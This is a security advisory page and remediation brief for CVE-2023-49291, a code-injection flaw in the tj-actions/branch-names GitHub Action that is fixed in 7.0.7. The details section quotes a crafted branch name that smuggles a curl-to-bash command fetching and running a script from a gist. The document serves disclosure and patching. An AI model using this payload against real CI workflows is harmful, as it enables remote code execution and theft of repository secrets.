tj-actions/branch-names's Improper Sanitization of Branch Name Leads to Arbitrary Code Injection

Exploitation

No confirmed exploitation recorded. Patch Next marks exploitation only from CISA KEV.

CVSS

9.3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N

EPSS

• CVE-2023-49291: 1.45% estimated exploitation activity in the next 30 days; percentile 73.36 (FIRST EPSS, 2026-11-03). This is a model estimate, not proof of exploitation or customer exposure.

As published by the source; long descriptions are shortened.

Summary The tj-actions/branch-names GitHub Actions references the github.event.pullrequest.head.ref and github.headref context variables within a GitHub Actions run step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name. Details The vulnerable code is within the action.yml file the run step references the value directly, instead of a sanitized variable. An attacker can use a branch name to inject arbitrary code, for example: Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity. Impact An attacker can use this vulnerability to steal secrets from or abuse GITHUBTOKEN permissions. Reference - https://securitylab.github.com/research/github-actions-untrusted-input

Published by the source

5 Dec 2023, 23:30 UTC

Last modified by the source

7 Dec 2023, 13:50 UTC

Source last checked

26 Oct 2026, 17:08 UTC

1. Revision 1 · created · 26 Oct 2026

   Published from ghsa record GHSA-8v8w-v8xg-79rf

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# Patch Next advisory brief: CVE-2023-49291

Advisory: tj-actions/branch-names's Improper Sanitization of Branch Name Leads to Arbitrary Code Injection
IDs: CVE-2023-49291, GHSA-8v8w-v8xg-79rf
Record: https://patchnext.com/advisories/cve-2023-49291 (revision 1, source checked 26 Oct 2026, 17:08 UTC)
Inventory: none attached. This brief comes from a public page and does not say whether any deployment is affected.
Severity: Critical (CVSS 9.3)
Exploitation: no confirmed exploitation recorded. Patch Next confirms exploitation only from CISA KEV.
Vendor response: Vendor fix available; fixed versions by package: tj-actions/branch-names 7.0.7. A vendor fix does not mean a deployment is fixed.

## Affected components
- GitHub Actions tj-actions/branch-names: affected < 7.0.7; fixed in 7.0.7

## Suggested inspection (read-only)
- GitHub Actions tj-actions/branch-names: check the installed version with your package manager.

## Supported action
Upgrade each affected component to a fixed version on its release line. For a transitive dependency, upgrade the parent package or add an override or constraint, then regenerate the lockfile. Redeploy every environment that ran an affected version.

## Required regression checks
- Run the test suite and a production build.
- Exercise the features that depend on tj-actions/branch-names.
- Repeat the inspection and confirm that only fixed versions remain installed.

## Rollback considerations
- Keep the previous lockfile and deployment artifact. Rolling back reinstates the vulnerable version, so apply any documented mitigation while you fix forward.

## Unresolved questions
- Which deployments run an affected version?
- Exploitation status can change. Check again before lowering the priority.
- Mark the work resolved only after the fixed version is verified in production.

## Sources
- Verified: https://github.com/advisories/GHSA-8v8w-v8xg-79rf (GitHub-reviewed advisory GHSA-8v8w-v8xg-79rf lists affected ranges: GitHub Actions tj-actions/branch-names >=0 <7.0.7)

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